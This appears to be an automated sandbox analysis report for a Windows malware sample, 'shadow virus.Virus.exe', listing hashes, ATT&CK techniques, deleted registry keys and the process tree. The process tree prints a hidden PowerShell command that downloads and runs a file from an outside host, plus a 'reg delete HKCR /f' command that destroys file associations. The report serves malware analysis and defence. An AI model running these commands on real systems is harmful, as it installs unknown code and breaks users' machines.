17f2d023136ac0410c3cd9214c2802ebfa9dec50af618e30a22f9d27c216a096

Analysis

max time kernel
54s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 14:22

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General

Target
shadow virus.Virus.exe
Size 41KB
Sample261001-rprxbaeb29
SHA256 17f2d023136ac0410c3cd9214c2802ebfa9dec50af618e30a22f9d27c216a096
MD5 245394de450945edeb7acd78f9ddd080
SHA1 59d85ff91c1de36e1c7f2c96140f6da3a9dc1810
SHA512 0c386e75f3c867ef68b2a06c48273545d7e48a749d3babc8dc07b29a029c691fd36791d42d4a54abe8a5909aece04a372ad48782a22c9901a06ce7a627e2a77c
SSDEEP 768:AFN8U8E4ZqjDBAGGCJwmNRwJqxQnIY9s3T4g5Bd+C:AFN78E4ZqjDBAewmNR+qxQj9s3T4gb4
TLSH
T12F13094DAB9D8033C38EAAFD589297134B30E1274503E38E59CCA5F629D37860E993C7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4792	powershell.exe
9	4792	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4792	powershell.exe

Modifies system executable filetype association 2 TTPs 16 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5028	cmd.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ex_	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.lnk\ShellNew	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.tsp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.SecStore	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX3p914qnpgw4hwj856jw2y286v7d4qnzh\Application	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.a\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dat	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m4b\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.tod\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\depends.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXq0pwa73vfcn2qdexp8cexcc6qk87xh1r\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.oft\OpenWithProgIDs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXarkze06z7pvhtc0xch943brvx8pbb8xa\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.inf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\f1120074-43ce-4bda-8a7d-deeeee71a26b\Description	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.inx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.Document.DC\Insertable	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CertificateStoreFile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\4f4890ba-ba0d-4f48-a921-62a6685bc076\Host	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.art	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hdp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpeg\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.FDFDoc\shell\Printto	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX6dgm15xpej2tfeqy45f08t73gq55qcjn	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.emf\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rsp\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.scc	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.zfsendtotarget	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXak1hygz1tpjjnxhr1pwtcgnkpr24r5e7	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\WINWORD.EXE\TaskbarExceptionsIcons\WordMail	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.bmp\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.trg	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dic\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AA8F1F23-D819-4E95-9B36-7FD68D5218F9}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\7-Zip.tgz\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.XFDFDoc\shell\Read	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\shdocvw.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\snapview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CDO.SS_NNTPOnPostEarlySink\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\certificatefile	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.bay	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pcb	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sym\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.vsto	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.FDFDoc\shell\Open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\drwatson.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CertificateStoreFile	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.gif\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.inc	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wmv\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\{474C98EE-CF3D-41f5-80E3-4AAB0AB04301}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX4jbzrhvphxte25e0gxha6bq555nrgqzy\Shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ChromeHTML\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.bay\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.msp	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2600	shadow virus.Virus.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2600	shadow virus.Virus.exe
Token: SeDebugPrivilege	2600	shadow virus.Virus.exe
Token: 33	1976	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1976	AUDIODG.EXE
Token: SeDebugPrivilege	4792	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2600 wrote to memory of 4792	2600	shadow virus.Virus.exe	90
PID 2600 wrote to memory of 5028	2600	shadow virus.Virus.exe	93
PID 5028 wrote to memory of 1264	5028	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\shadow virus.Virus.exe
"C:\Users\Admin\AppData\Local\Temp\shadow virus.Virus.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\reg.exe
    reg delete HKCR /f
    3⤵
    - Modifies system executable filetype association
    - Modifies registry class
    PID:1264

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004F8 0x0000000000000500
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2600-0-0x0000000000610000-0x0000000000620000-memory.dmp

Download

memory/2600-1-0x00007FFDAB46F000-0x00007FFDAB470000-memory.dmp

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memory/2600-2-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/2600-3-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/2600-4-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/2600-5-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

Download

memory/2600-6-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/2600-7-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/2600-8-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/2600-9-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-13-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-14-0x000001A64DCC0000-0x000001A64DCE2000-memory.dmp

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memory/4792-15-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-16-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-19-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-20-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-21-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-22-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-23-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-24-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-25-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-27-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-28-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-26-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-29-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-30-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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memory/4792-32-0x00007FFDAB2E0000-0x00007FFDABC84000-memory.dmp

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